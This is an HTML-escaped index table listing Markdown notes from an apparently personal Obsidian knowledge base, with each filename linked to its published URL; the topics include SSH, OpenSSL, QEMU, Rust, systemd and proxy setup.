&lt;tr&gt;&lt;td&gt;vpn&#x2F;Nginx如何设置用户登录验证.md&lt;&#x2F;td&gt;&lt;td&gt;&lt;a href=&quot;https:&#x2F;&#x2F;vercel.juzhong.asia&#x2F;obsidian&#x2F;nginx%E5%A6%82%E4%BD%95%E8%AE%BE%E7%BD%AE%E7%94%A8%E6%88%B7%E7%99%BB%E5%BD%95%E9%AA%8C%E8%AF%81&#x2F;&quot;&gt;obsidian&#x2F;nginx如何设置用户登录验证&#x2F;&lt;&#x2F;a&gt;&lt;&#x2F;td&gt;&lt;&#x2F;tr&gt;
&lt;tr&gt;&lt;td&gt;NVMe 硬盘密码救命神器之 PSID.md&lt;&#x2F;td&gt;&lt;td&gt;&lt;a href=&quot;https:&#x2F;&#x2F;vercel.juzhong.asia&#x2F;obsidian&#x2F;nvme-%E7%A1%AC%E7%9B%98%E5%AF%86%E7%A0%81%E6%95%91%E5%91%BD%E7%A5%9E%E5%99%A8%E4%B9%8B-psid&#x2F;&quot;&gt;obsidian&#x2F;nvme-硬盘密码救命神器之-psid&#x2F;&lt;&#x2F;a&gt;&lt;&#x2F;td&gt;&lt;&#x2F;tr&gt;
&lt;tr&gt;&lt;td&gt;OAuth 2.0 的四种方式 - 阮一峰的网络日志.md&lt;&#x2F;td&gt;&lt;td&gt;&lt;a href=&quot;https:&#x2F;&#x2F;vercel.juzhong.asia&#x2F;obsidian&#x2F;oauth-2.0-%E7%9A%84%E5%9B%9B%E7%A7%8D%E6%96%B9%E5%BC%8F-%E9%98%AE%E4%B8%80%E5%B3%B0%E7%9A%84%E7%BD%91%E7%BB%9C%E6%97%A5%E5%BF%97&#x2F;&quot;&gt;obsidian&#x2F;oauth-2.0-的四种方式-阮一峰的网络日志&#x2F;&lt;&#x2F;a&gt;&lt;&#x2F;td&gt;&lt;&#x2F;tr&gt;
&lt;tr&gt;&lt;td&gt;OAuth2.0协议小记.md&lt;&#x2F;td&gt;&lt;td&gt;&lt;a href=&quot;https:&#x2F;&#x2F;vercel.juzhong.asia&#x2F;obsidian&#x2F;oauth2.0%E5%8D%8F%E8%AE%AE%E5%B0%8F%E8%AE%B0&#x2F;&quot;&gt;obsidian&#x2F;oauth2.0协议小记&#x2F;&lt;&#x2F;a&gt;&lt;&#x2F;td&gt;&lt;&#x2F;tr&gt;
&lt;tr&gt;&lt;td&gt;OpenLDAP 应用服务器部署介绍在 Debian 11 系统上安装 OpenLDAP 服务器，还介绍了如何使用 LD.md&lt;&#x2F;td&gt;&lt;td&gt;&lt;a href=&quot;https:&#x2F;&#x2F;vercel.juzhong.asia&#x2F;obsidian&#x2F;openldap-%E5%BA%94%E7%94%A8%E6%9C%8D%E5%8A%A1%E5%99%A8%E9%83%A8%E7%BD%B2%E4%BB%8B%E7%BB%8D%E5%9C%A8-debian-11-%E7%B3%BB%E7%BB%9F%E4%B8%8A%E5%AE%89%E8%A3%85-openldap-%E6%9C%8D%E5%8A%A1%E5%99%A8-%E8%BF%98%E4%BB%8B%E7%BB%8D%E4%BA%86%E5%A6%82%E4%BD%95%E4%BD%BF%E7%94%A8-ld&#x2F;&quot;&gt;obsidian&#x2F;openldap-应用服务器部署介绍在-debian-11-系统上安装-openldap-服务器-还介绍了如何使用-ld&#x2F;&lt;&#x2F;a&gt;&lt;&#x2F;td&gt;&lt;&#x2F;tr&gt;
&lt;tr&gt;&lt;td&gt;openssl  deprecated key derivation used.md&lt;&#x2F;td&gt;&lt;td&gt;&lt;a href=&quot;https:&#x2F;&#x2F;vercel.juzhong.asia&#x2F;obsidian&#x2F;openssl-deprecated-key-derivation-used&#x2F;&quot;&gt;obsidian&#x2F;openssl-deprecated-key-derivation-used&#x2F;&lt;&#x2F;a&gt;&lt;&#x2F;td&gt;&lt;&#x2F;tr&gt;
&lt;tr&gt;&lt;td&gt;openssl命令用法详解.md&lt;&#x2F;td&gt;&lt;td&gt;&lt;a href=&quot;https:&#x2F;&#x2F;vercel.juzhong.asia&#x2F;obsidian&#x2F;openssl%E5%91%BD%E4%BB%A4%E7%94%A8%E6%B3%95%E8%AF%A6%E8%A7%A3&#x2F;&quot;&gt;obsidian&#x2F;openssl命令用法详解&#x2F;&lt;&#x2F;a&gt;&lt;&#x2F;td&gt;&lt;&#x2F;tr&gt;
&lt;tr&gt;&lt;td&gt;OpenSSL命令速查手册：证书、私钥与证书签名请求文件.md&lt;&#x2F;td&gt;&lt;td&gt;&lt;a href=&quot;https:&#x2F;&#x2F;vercel.juzhong.asia&#x2F;obsidian&#x2F;openssl%E5%91%BD%E4%BB%A4%E9%80%9F%E6%9F%A5%E6%89%8B%E5%86%8C-%E8%AF%81%E4%B9%A6%E3%80%81%E7%A7%81%E9%92%A5%E4%B8%8E%E8%AF%81%E4%B9%A6%E7%AD%BE%E5%90%8D%E8%AF%B7%E6%B1%82%E6%96%87%E4%BB%B6&#x2F;&quot;&gt;obsidian&#x2F;openssl命令速查手册-证书、私钥与证书签名请求文件&#x2F;&lt;&#x2F;a&gt;&lt;&#x2F;td&gt;&lt;&#x2F;tr&gt;
&lt;tr&gt;&lt;td&gt;OpenVpn 搭建教程.md&lt;&#x2F;td&gt;&lt;td&gt;&lt;a href=&quot;https:&#x2F;&#x2F;vercel.juzhong.asia&#x2F;obsidian&#x2F;openvpn-%E6%90%AD%E5%BB%BA%E6%95%99%E7%A8%8B&#x2F;&quot;&gt;obsidian&#x2F;openvpn-搭建教程&#x2F;&lt;&#x2F;a&gt;&lt;&#x2F;td&gt;&lt;&#x2F;tr&gt;
&lt;tr&gt;&lt;td&gt;OpenWrt与嵌入式Linux.md&lt;&#x2F;td&gt;&lt;td&gt;&lt;a href=&quot;https:&#x2F;&#x2F;vercel.juzhong.asia&#x2F;obsidian&#x2F;openwrt%E4%B8%8E%E5%B5%8C%E5%85%A5%E5%BC%8Flinux&#x2F;&quot;&gt;obsidian&#x2F;openwrt与嵌入式linux&#x2F;&lt;&#x2F;a&gt;&lt;&#x2F;td&gt;&lt;&#x2F;tr&gt;
&lt;tr&gt;&lt;td&gt;OS 现代 64 位操作系统开发（一）：Cmake 构建、UEFI 启动、GRUB 引导、frame buffer 文字绘制.md&lt;&#x2F;td&gt;&lt;td&gt;&lt;a href=&quot;https:&#x2F;&#x2F;vercel.juzhong.asia&#x2F;obsidian&#x2F;os-%E7%8E%B0%E4%BB%A3-64-%E4%BD%8D%E6%93%8D%E4%BD%9C%E7%B3%BB%E7%BB%9F%E5%BC%80%E5%8F%91-%E4%B8%80-cmake-%E6%9E%84%E5%BB%BA%E3%80%81uefi-%E5%90%AF%E5%8A%A8%E3%80%81grub-%E5%BC%95%E5%AF%BC%E3%80%81frame-buffer-%E6%96%87%E5%AD%97%E7%BB%98%E5%88%B6&#x2F;&quot;&gt;obsidian&#x2F;os-现代-64-位操作系统开发-一-cmake-构建、uefi-启动、grub-引导、frame-buffer-文字绘制&#x2F;&lt;&#x2F;a&gt;&lt;&#x2F;td&gt;&lt;&#x2F;tr&gt;
&lt;tr&gt;&lt;td&gt;PCIe学习笔记之pcie结构和配置空间.md&lt;&#x2F;td&gt;&lt;td&gt;&lt;a href=&quot;https:&#x2F;&#x2F;vercel.juzhong.asia&#x2F;obsidian&#x2F;pcie%E5%AD%A6%E4%B9%A0%E7%AC%94%E8%AE%B0%E4%B9%8Bpcie%E7%BB%93%E6%9E%84%E5%92%8C%E9%85%8D%E7%BD%AE%E7%A9%BA%E9%97%B4&#x2F;&quot;&gt;obsidian&#x2F;pcie学习笔记之pcie结构和配置空间&#x2F;&lt;&#x2F;a&gt;&lt;&#x2F;td&gt;&lt;&#x2F;tr&gt;
&lt;tr&gt;&lt;td&gt;Proxmox VE QemuKVM 虚拟机设置要求.md&lt;&#x2F;td&gt;&lt;td&gt;&lt;a href=&quot;https:&#x2F;&#x2F;vercel.juzhong.asia&#x2F;obsidian&#x2F;proxmox-ve-qemukvm-%E8%99%9A%E6%8B%9F%E6%9C%BA%E8%AE%BE%E7%BD%AE%E8%A6%81%E6%B1%82&#x2F;&quot;&gt;obsidian&#x2F;proxmox-ve-qemukvm-虚拟机设置要求&#x2F;&lt;&#x2F;a&gt;&lt;&#x2F;td&gt;&lt;&#x2F;tr&gt;
&lt;tr&gt;&lt;td&gt;pve磁盘直通&#x2F;pve开启硬件直通命令.md&lt;&#x2F;td&gt;&lt;td&gt;&lt;a href=&quot;https:&#x2F;&#x2F;vercel.juzhong.asia&#x2F;obsidian&#x2F;pve%E5%BC%80%E5%90%AF%E7%A1%AC%E4%BB%B6%E7%9B%B4%E9%80%9A%E5%91%BD%E4%BB%A4&#x2F;&quot;&gt;obsidian&#x2F;pve开启硬件直通命令&#x2F;&lt;&#x2F;a&gt;&lt;&#x2F;td&gt;&lt;&#x2F;tr&gt;
&lt;tr&gt;&lt;td&gt;pve磁盘直通.md&lt;&#x2F;td&gt;&lt;td&gt;&lt;a href=&quot;https:&#x2F;&#x2F;vercel.juzhong.asia&#x2F;obsidian&#x2F;pve%E7%A3%81%E7%9B%98%E7%9B%B4%E9%80%9A&#x2F;&quot;&gt;obsidian&#x2F;pve磁盘直通&#x2F;&lt;&#x2F;a&gt;&lt;&#x2F;td&gt;&lt;&#x2F;tr&gt;
&lt;tr&gt;&lt;td&gt;python 动态构造class.md&lt;&#x2F;td&gt;&lt;td&gt;&lt;a href=&quot;https:&#x2F;&#x2F;vercel.juzhong.asia&#x2F;obsidian&#x2F;python-%E5%8A%A8%E6%80%81%E6%9E%84%E9%80%A0class&#x2F;&quot;&gt;obsidian&#x2F;python-动态构造class&#x2F;&lt;&#x2F;a&gt;&lt;&#x2F;td&gt;&lt;&#x2F;tr&gt;
&lt;tr&gt;&lt;td&gt;python安全攻防---scapy基础---计算机网络各层协议.md&lt;&#x2F;td&gt;&lt;td&gt;&lt;a href=&quot;https:&#x2F;&#x2F;vercel.juzhong.asia&#x2F;obsidian&#x2F;python%E5%AE%89%E5%85%A8%E6%94%BB%E9%98%B2-scapy%E5%9F%BA%E7%A1%80-%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%BD%91%E7%BB%9C%E5%90%84%E5%B1%82%E5%8D%8F%E8%AE%AE&#x2F;&quot;&gt;obsidian&#x2F;python安全攻防-scapy基础-计算机网络各层协议&#x2F;&lt;&#x2F;a&gt;&lt;&#x2F;td&gt;&lt;&#x2F;tr&gt;
&lt;tr&gt;&lt;td&gt;Python网络攻防之第二层攻击.md&lt;&#x2F;td&gt;&lt;td&gt;&lt;a href=&quot;https:&#x2F;&#x2F;vercel.juzhong.asia&#x2F;obsidian&#x2F;python%E7%BD%91%E7%BB%9C%E6%94%BB%E9%98%B2%E4%B9%8B%E7%AC%AC%E4%BA%8C%E5%B1%82%E6%94%BB%E5%87%BB&#x2F;&quot;&gt;obsidian&#x2F;python网络攻防之第二层攻击&#x2F;&lt;&#x2F;a&gt;&lt;&#x2F;td&gt;&lt;&#x2F;tr&gt;
&lt;tr&gt;&lt;td&gt;qcow2、raw、vmdk等镜像格式.md&lt;&#x2F;td&gt;&lt;td&gt;&lt;a href=&quot;https:&#x2F;&#x2F;vercel.juzhong.asia&#x2F;obsidian&#x2F;qcow2%E3%80%81raw%E3%80%81vmdk%E7%AD%89%E9%95%9C%E5%83%8F%E6%A0%BC%E5%BC%8F&#x2F;&quot;&gt;obsidian&#x2F;qcow2、raw、vmdk等镜像格式&#x2F;&lt;&#x2F;a&gt;&lt;&#x2F;td&gt;&lt;&#x2F;tr&gt;
&lt;tr&gt;&lt;td&gt;QEMU KVM的基本使用方法.md&lt;&#x2F;td&gt;&lt;td&gt;&lt;a href=&quot;https:&#x2F;&#x2F;vercel.juzhong.asia&#x2F;obsidian&#x2F;qemu-kvm%E7%9A%84%E5%9F%BA%E6%9C%AC%E4%BD%BF%E7%94%A8%E6%96%B9%E6%B3%95&#x2F;&quot;&gt;obsidian&#x2F;qemu-kvm的基本使用方法&#x2F;&lt;&#x2F;a&gt;&lt;&#x2F;td&gt;&lt;&#x2F;tr&gt;
&lt;tr&gt;&lt;td&gt;【qemu】qemu网络配置.md&lt;&#x2F;td&gt;&lt;td&gt;&lt;a href=&quot;https:&#x2F;&#x2F;vercel.juzhong.asia&#x2F;obsidian&#x2F;qemu-qemu%E7%BD%91%E7%BB%9C%E9%85%8D%E7%BD%AE&#x2F;&quot;&gt;obsidian&#x2F;qemu-qemu网络配置&#x2F;&lt;&#x2F;a&gt;&lt;&#x2F;td&gt;&lt;&#x2F;tr&gt;
&lt;tr&gt;&lt;td&gt;qemu virtio device behind pci bridge.md&lt;&#x2F;td&gt;&lt;td&gt;&lt;a href=&quot;https:&#x2F;&#x2F;vercel.juzhong.asia&#x2F;obsidian&#x2F;qemu-virtio-device-behind-pci-bridge&#x2F;&quot;&gt;obsidian&#x2F;qemu-virtio-device-behind-pci-bridge&#x2F;&lt;&#x2F;a&gt;&lt;&#x2F;td&gt;&lt;&#x2F;tr&gt;
&lt;tr&gt;&lt;td&gt;Qemu win11 虚拟化之Machine Type.md&lt;&#x2F;td&gt;&lt;td&gt;&lt;a href=&quot;https:&#x2F;&#x2F;vercel.juzhong.asia&#x2F;obsidian&#x2F;qemu-win11-%E8%99%9A%E6%8B%9F%E5%8C%96%E4%B9%8Bmachine-type&#x2F;&quot;&gt;obsidian&#x2F;qemu-win11-虚拟化之machine-type&#x2F;&lt;&#x2F;a&gt;&lt;&#x2F;td&gt;&lt;&#x2F;tr&gt;
&lt;tr&gt;&lt;td&gt;Relocation gcc -static-pie.md&lt;&#x2F;td&gt;&lt;td&gt;&lt;a href=&quot;https:&#x2F;&#x2F;vercel.juzhong.asia&#x2F;obsidian&#x2F;relocation-gcc-static-pie&#x2F;&quot;&gt;obsidian&#x2F;relocation-gcc-static-pie&#x2F;&lt;&#x2F;a&gt;&lt;&#x2F;td&gt;&lt;&#x2F;tr&gt;
&lt;tr&gt;&lt;td&gt;Relocation gcc -static-pie&#x2F;Relocation overflow and code models.md&lt;&#x2F;td&gt;&lt;td&gt;&lt;a href=&quot;https:&#x2F;&#x2F;vercel.juzhong.asia&#x2F;obsidian&#x2F;relocation-overflow-and-code-models&#x2F;&quot;&gt;obsidian&#x2F;relocation-overflow-and-code-models&#x2F;&lt;&#x2F;a&gt;&lt;&#x2F;td&gt;&lt;&#x2F;tr&gt;
&lt;tr&gt;&lt;td&gt;restlsRestls-Script_ 隐藏你的代理行为.md&lt;&#x2F;td&gt;&lt;td&gt;&lt;a href=&quot;https:&#x2F;&#x2F;vercel.juzhong.asia&#x2F;obsidian&#x2F;restlsrestls-script-%E9%9A%90%E8%97%8F%E4%BD%A0%E7%9A%84%E4%BB%A3%E7%90%86%E8%A1%8C%E4%B8%BA&#x2F;&quot;&gt;obsidian&#x2F;restlsrestls-script-隐藏你的代理行为&#x2F;&lt;&#x2F;a&gt;&lt;&#x2F;td&gt;&lt;&#x2F;tr&gt;
&lt;tr&gt;&lt;td&gt;RSA算法原理（二） - 阮一峰的网络日志.md&lt;&#x2F;td&gt;&lt;td&gt;&lt;a href=&quot;https:&#x2F;&#x2F;vercel.juzhong.asia&#x2F;obsidian&#x2F;rsa%E7%AE%97%E6%B3%95%E5%8E%9F%E7%90%86-%E4%BA%8C-%E9%98%AE%E4%B8%80%E5%B3%B0%E7%9A%84%E7%BD%91%E7%BB%9C%E6%97%A5%E5%BF%97&#x2F;&quot;&gt;obsidian&#x2F;rsa算法原理-二-阮一峰的网络日志&#x2F;&lt;&#x2F;a&gt;&lt;&#x2F;td&gt;&lt;&#x2F;tr&gt;
&lt;tr&gt;&lt;td&gt;Run A GUI APPs inside a Docker Container - Geek Culture - Medium.md&lt;&#x2F;td&gt;&lt;td&gt;&lt;a href=&quot;https:&#x2F;&#x2F;vercel.juzhong.asia&#x2F;obsidian&#x2F;run-a-gui-apps-inside-a-docker-container-geek-culture-medium&#x2F;&quot;&gt;obsidian&#x2F;run-a-gui-apps-inside-a-docker-container-geek-culture-medium&#x2F;&lt;&#x2F;a&gt;&lt;&#x2F;td&gt;&lt;&#x2F;tr&gt;
&lt;tr&gt;&lt;td&gt;Rust By Practice( Rust 练习实践 ).md&lt;&#x2F;td&gt;&lt;td&gt;&lt;a href=&quot;https:&#x2F;&#x2F;vercel.juzhong.asia&#x2F;obsidian&#x2F;rust-by-practice-rust-%E7%BB%83%E4%B9%A0%E5%AE%9E%E8%B7%B5&#x2F;&quot;&gt;obsidian&#x2F;rust-by-practice-rust-练习实践&#x2F;&lt;&#x2F;a&gt;&lt;&#x2F;td&gt;&lt;&#x2F;tr&gt;
&lt;tr&gt;&lt;td&gt;rust-lifetime-misconceptions.md&lt;&#x2F;td&gt;&lt;td&gt;&lt;a href=&quot;https:&#x2F;&#x2F;vercel.juzhong.asia&#x2F;obsidian&#x2F;rust-lifetime-misconceptions&#x2F;&quot;&gt;obsidian&#x2F;rust-lifetime-misconceptions&#x2F;&lt;&#x2F;a&gt;&lt;&#x2F;td&gt;&lt;&#x2F;tr&gt;
&lt;tr&gt;&lt;td&gt;rust-magic-function-params.md&lt;&#x2F;td&gt;&lt;td&gt;&lt;a href=&quot;https:&#x2F;&#x2F;vercel.juzhong.asia&#x2F;obsidian&#x2F;rust-magic-function-params&#x2F;&quot;&gt;obsidian&#x2F;rust-magic-function-params&#x2F;&lt;&#x2F;a&gt;&lt;&#x2F;td&gt;&lt;&#x2F;tr&gt;
&lt;tr&gt;&lt;td&gt;rust Reborrow and Borrow.md&lt;&#x2F;td&gt;&lt;td&gt;&lt;a href=&quot;https:&#x2F;&#x2F;vercel.juzhong.asia&#x2F;obsidian&#x2F;rust-reborrow-and-borrow&#x2F;&quot;&gt;obsidian&#x2F;rust-reborrow-and-borrow&#x2F;&lt;&#x2F;a&gt;&lt;&#x2F;td&gt;&lt;&#x2F;tr&gt;
&lt;tr&gt;&lt;td&gt;Rust Tracing.md&lt;&#x2F;td&gt;&lt;td&gt;&lt;a href=&quot;https:&#x2F;&#x2F;vercel.juzhong.asia&#x2F;obsidian&#x2F;rust-tracing&#x2F;&quot;&gt;obsidian&#x2F;rust-tracing&#x2F;&lt;&#x2F;a&gt;&lt;&#x2F;td&gt;&lt;&#x2F;tr&gt;
&lt;tr&gt;&lt;td&gt;rust 高阶生命周期.md&lt;&#x2F;td&gt;&lt;td&gt;&lt;a href=&quot;https:&#x2F;&#x2F;vercel.juzhong.asia&#x2F;obsidian&#x2F;rust-%E9%AB%98%E9%98%B6%E7%94%9F%E5%91%BD%E5%91%A8%E6%9C%9F&#x2F;&quot;&gt;obsidian&#x2F;rust-高阶生命周期&#x2F;&lt;&#x2F;a&gt;&lt;&#x2F;td&gt;&lt;&#x2F;tr&gt;
&lt;tr&gt;&lt;td&gt;Rust从入门到精通.md&lt;&#x2F;td&gt;&lt;td&gt;&lt;a href=&quot;https:&#x2F;&#x2F;vercel.juzhong.asia&#x2F;obsidian&#x2F;rust%E4%BB%8E%E5%85%A5%E9%97%A8%E5%88%B0%E7%B2%BE%E9%80%9A&#x2F;&quot;&gt;obsidian&#x2F;rust从入门到精通&#x2F;&lt;&#x2F;a&gt;&lt;&#x2F;td&gt;&lt;&#x2F;tr&gt;
&lt;tr&gt;&lt;td&gt;rust动态分发dyn.md&lt;&#x2F;td&gt;&lt;td&gt;&lt;a href=&quot;https:&#x2F;&#x2F;vercel.juzhong.asia&#x2F;obsidian&#x2F;rust%E5%8A%A8%E6%80%81%E5%88%86%E5%8F%91dyn&#x2F;&quot;&gt;obsidian&#x2F;rust动态分发dyn&#x2F;&lt;&#x2F;a&gt;&lt;&#x2F;td&gt;&lt;&#x2F;tr&gt;
&lt;tr&gt;&lt;td&gt;Rust生命周期集大成者 PhantomData_T_.md&lt;&#x2F;td&gt;&lt;td&gt;&lt;a href=&quot;https:&#x2F;&#x2F;vercel.juzhong.asia&#x2F;obsidian&#x2F;rust%E7%94%9F%E5%91%BD%E5%91%A8%E6%9C%9F%E9%9B%86%E5%A4%A7%E6%88%90%E8%80%85-phantomdata-t&#x2F;&quot;&gt;obsidian&#x2F;rust生命周期集大成者-phantomdata-t&#x2F;&lt;&#x2F;a&gt;&lt;&#x2F;td&gt;&lt;&#x2F;tr&gt;
&lt;tr&gt;&lt;td&gt;serde你在干什么_deserialize.md&lt;&#x2F;td&gt;&lt;td&gt;&lt;a href=&quot;https:&#x2F;&#x2F;vercel.juzhong.asia&#x2F;obsidian&#x2F;serde%E4%BD%A0%E5%9C%A8%E5%B9%B2%E4%BB%80%E4%B9%88-deserialize&#x2F;&quot;&gt;obsidian&#x2F;serde你在干什么-deserialize&#x2F;&lt;&#x2F;a&gt;&lt;&#x2F;td&gt;&lt;&#x2F;tr&gt;
&lt;tr&gt;&lt;td&gt;ShadowTLS——更好的 TLS 伪装代理.md&lt;&#x2F;td&gt;&lt;td&gt;&lt;a href=&quot;https:&#x2F;&#x2F;vercel.juzhong.asia&#x2F;obsidian&#x2F;shadowtls-%E6%9B%B4%E5%A5%BD%E7%9A%84-tls-%E4%BC%AA%E8%A3%85%E4%BB%A3%E7%90%86&#x2F;&quot;&gt;obsidian&#x2F;shadowtls-更好的-tls-伪装代理&#x2F;&lt;&#x2F;a&gt;&lt;&#x2F;td&gt;&lt;&#x2F;tr&gt;
&lt;tr&gt;&lt;td&gt;Sing-box节点搭建教程.md&lt;&#x2F;td&gt;&lt;td&gt;&lt;a href=&quot;https:&#x2F;&#x2F;vercel.juzhong.asia&#x2F;obsidian&#x2F;sing-box%E8%8A%82%E7%82%B9%E6%90%AD%E5%BB%BA%E6%95%99%E7%A8%8B&#x2F;&quot;&gt;obsidian&#x2F;sing-box节点搭建教程&#x2F;&lt;&#x2F;a&gt;&lt;&#x2F;td&gt;&lt;&#x2F;tr&gt;
&lt;tr&gt;&lt;td&gt;SONiC学习笔记（一）：概述与安装.md&lt;&#x2F;td&gt;&lt;td&gt;&lt;a href=&quot;https:&#x2F;&#x2F;vercel.juzhong.asia&#x2F;obsidian&#x2F;sonic%E5%AD%A6%E4%B9%A0%E7%AC%94%E8%AE%B0-%E4%B8%80-%E6%A6%82%E8%BF%B0%E4%B8%8E%E5%AE%89%E8%A3%85&#x2F;&quot;&gt;obsidian&#x2F;sonic学习笔记-一-概述与安装&#x2F;&lt;&#x2F;a&gt;&lt;&#x2F;td&gt;&lt;&#x2F;tr&gt;
&lt;tr&gt;&lt;td&gt;ssh FQA&#x2F;ERROR_ Secsh channel open FAILED_ Connect failed.md&lt;&#x2F;td&gt;&lt;td&gt;&lt;a href=&quot;https:&#x2F;&#x2F;vercel.juzhong.asia&#x2F;obsidian&#x2F;ssh-faq-%E9%97%AE%E9%A2%98%E8%AE%B0%E5%BD%95&#x2F;&quot;&gt;obsidian&#x2F;ssh-faq-问题记录&#x2F;&lt;&#x2F;a&gt;&lt;&#x2F;td&gt;&lt;&#x2F;tr&gt;
&lt;tr&gt;&lt;td&gt;ssh-key添加之后依旧需要密码输入Bug的解决.md&lt;&#x2F;td&gt;&lt;td&gt;&lt;a href=&quot;https:&#x2F;&#x2F;vercel.juzhong.asia&#x2F;obsidian&#x2F;ssh-key%E6%B7%BB%E5%8A%A0%E4%B9%8B%E5%90%8E%E4%BE%9D%E6%97%A7%E9%9C%80%E8%A6%81%E5%AF%86%E7%A0%81%E8%BE%93%E5%85%A5bug%E7%9A%84%E8%A7%A3%E5%86%B3&#x2F;&quot;&gt;obsidian&#x2F;ssh-key添加之后依旧需要密码输入bug的解决&#x2F;&lt;&#x2F;a&gt;&lt;&#x2F;td&gt;&lt;&#x2F;tr&gt;
&lt;tr&gt;&lt;td&gt;SSH Tunnel for UDP.md&lt;&#x2F;td&gt;&lt;td&gt;&lt;a href=&quot;https:&#x2F;&#x2F;vercel.juzhong.asia&#x2F;obsidian&#x2F;ssh-tunnel-for-udp&#x2F;&quot;&gt;obsidian&#x2F;ssh-tunnel-for-udp&#x2F;&lt;&#x2F;a&gt;&lt;&#x2F;td&gt;&lt;&#x2F;tr&gt;
&lt;tr&gt;&lt;td&gt;SSH 使用SSH+SOCAT中继UDP数据包.md&lt;&#x2F;td&gt;&lt;td&gt;&lt;a href=&quot;https:&#x2F;&#x2F;vercel.juzhong.asia&#x2F;obsidian&#x2F;ssh-%E4%BD%BF%E7%94%A8ssh-socat%E4%B8%AD%E7%BB%A7udp%E6%95%B0%E6%8D%AE%E5%8C%85&#x2F;&quot;&gt;obsidian&#x2F;ssh-使用ssh-socat中继udp数据包&#x2F;&lt;&#x2F;a&gt;&lt;&#x2F;td&gt;&lt;&#x2F;tr&gt;
&lt;tr&gt;&lt;td&gt;sshd_config 中 PermitRootLogin.md&lt;&#x2F;td&gt;&lt;td&gt;&lt;a href=&quot;https:&#x2F;&#x2F;vercel.juzhong.asia&#x2F;obsidian&#x2F;sshd_config-%E4%B8%AD-permitrootlogin&#x2F;&quot;&gt;obsidian&#x2F;sshd_config-中-permitrootlogin&#x2F;&lt;&#x2F;a&gt;&lt;&#x2F;td&gt;&lt;&#x2F;tr&gt;
&lt;tr&gt;&lt;td&gt;SSH登陆认证过程详解.md&lt;&#x2F;td&gt;&lt;td&gt;&lt;a href=&quot;https:&#x2F;&#x2F;vercel.juzhong.asia&#x2F;obsidian&#x2F;ssh%E7%99%BB%E9%99%86%E8%AE%A4%E8%AF%81%E8%BF%87%E7%A8%8B%E8%AF%A6%E8%A7%A3&#x2F;&quot;&gt;obsidian&#x2F;ssh登陆认证过程详解&#x2F;&lt;&#x2F;a&gt;&lt;&#x2F;td&gt;&lt;&#x2F;tr&gt;
&lt;tr&gt;&lt;td&gt;【SSO单点登录】JWT续签问题 &amp;amp;&amp;amp; OAuth2.0 中的refreshToken刷新机制①JWT续签问题 ②快过期.md&lt;&#x2F;td&gt;&lt;td&gt;&lt;a href=&quot;https:&#x2F;&#x2F;vercel.juzhong.asia&#x2F;obsidian&#x2F;sso%E5%8D%95%E7%82%B9%E7%99%BB%E5%BD%95-jwt%E7%BB%AD%E7%AD%BE%E9%97%AE%E9%A2%98-oauth2.0-%E4%B8%AD%E7%9A%84refreshtoken%E5%88%B7%E6%96%B0%E6%9C%BA%E5%88%B61jwt%E7%BB%AD%E7%AD%BE%E9%97%AE%E9%A2%98-2%E5%BF%AB%E8%BF%87%E6%9C%9F&#x2F;&quot;&gt;obsidian&#x2F;sso单点登录-jwt续签问题-oauth2.0-中的refreshtoken刷新机制1jwt续签问题-2快过期&#x2F;&lt;&#x2F;a&gt;&lt;&#x2F;td&gt;&lt;&#x2F;tr&gt;
&lt;tr&gt;&lt;td&gt;std__packaged_task 源码级详解.md&lt;&#x2F;td&gt;&lt;td&gt;&lt;a href=&quot;https:&#x2F;&#x2F;vercel.juzhong.asia&#x2F;obsidian&#x2F;std-packaged_task-%E6%BA%90%E7%A0%81%E7%BA%A7%E8%AF%A6%E8%A7%A3&#x2F;&quot;&gt;obsidian&#x2F;std-packaged_task-源码级详解&#x2F;&lt;&#x2F;a&gt;&lt;&#x2F;td&gt;&lt;&#x2F;tr&gt;
&lt;tr&gt;&lt;td&gt;Sunshine + Moonlight 纯软件实现全平台设备作 Linux 副屏.md&lt;&#x2F;td&gt;&lt;td&gt;&lt;a href=&quot;https:&#x2F;&#x2F;vercel.juzhong.asia&#x2F;obsidian&#x2F;sunshine-moonlight-%E7%BA%AF%E8%BD%AF%E4%BB%B6%E5%AE%9E%E7%8E%B0%E5%85%A8%E5%B9%B3%E5%8F%B0%E8%AE%BE%E5%A4%87%E4%BD%9C-linux-%E5%89%AF%E5%B1%8F&#x2F;&quot;&gt;obsidian&#x2F;sunshine-moonlight-纯软件实现全平台设备作-linux-副屏&#x2F;&lt;&#x2F;a&gt;&lt;&#x2F;td&gt;&lt;&#x2F;tr&gt;
&lt;tr&gt;&lt;td&gt;systemd-run 运行临时命令.md&lt;&#x2F;td&gt;&lt;td&gt;&lt;a href=&quot;https:&#x2F;&#x2F;vercel.juzhong.asia&#x2F;obsidian&#x2F;systemd-run-%E8%BF%90%E8%A1%8C%E4%B8%B4%E6%97%B6%E5%91%BD%E4%BB%A4&#x2F;&quot;&gt;obsidian&#x2F;systemd-run-运行临时命令&#x2F;&lt;&#x2F;a&gt;&lt;&#x2F;td&gt;&lt;&#x2F;tr&gt;
&lt;tr&gt;&lt;td&gt;systemd Template unit files - Fedora Magazine.md&lt;&#x2F;td&gt;&lt;td&gt;&lt;a href=&quot;https:&#x2F;&#x2F;vercel.juzhong.asia&#x2F;obsidian&#x2F;systemd-template-unit-files-fedora-magazine&#x2F;&quot;&gt;obsidian&#x2F;systemd-template-unit-files-fedora-magazine&#x2F;&lt;&#x2F;a&gt;&lt;&#x2F;td&gt;&lt;&#x2F;tr&gt;
&lt;tr&gt;&lt;td&gt;Systemd user unit that depends on system unit (sleep.target).md&lt;&#x2F;td&gt;&lt;td&gt;&lt;a href=&quot;https:&#x2F;&#x2F;vercel.juzhong.asia&#x2F;obsidian&#x2F;systemd-user-unit-that-depends-on-system-unit-sleep.target&#x2F;&quot;&gt;obsidian&#x2F;systemd-user-unit-that-depends-on-system-unit-sleep.target&#x2F;&lt;&#x2F;a&gt;&lt;&#x2F;td&gt;&lt;&#x2F;tr&gt;
&lt;tr&gt;&lt;td&gt;systemd 中的requires, wants, before, after - kissrule.md&lt;&#x2F;td&gt;&lt;td&gt;&lt;a href=&quot;https:&#x2F;&#x2F;vercel.juzhong.asia&#x2F;obsidian&#x2F;systemd-%E4%B8%AD%E7%9A%84requires-wants-before-after-kissrule&#x2F;&quot;&gt;obsidian&#x2F;systemd-中的requires-wants-before-after-kissrule&#x2F;&lt;&#x2F;a&gt;&lt;&#x2F;td&gt;&lt;&#x2F;tr&gt;
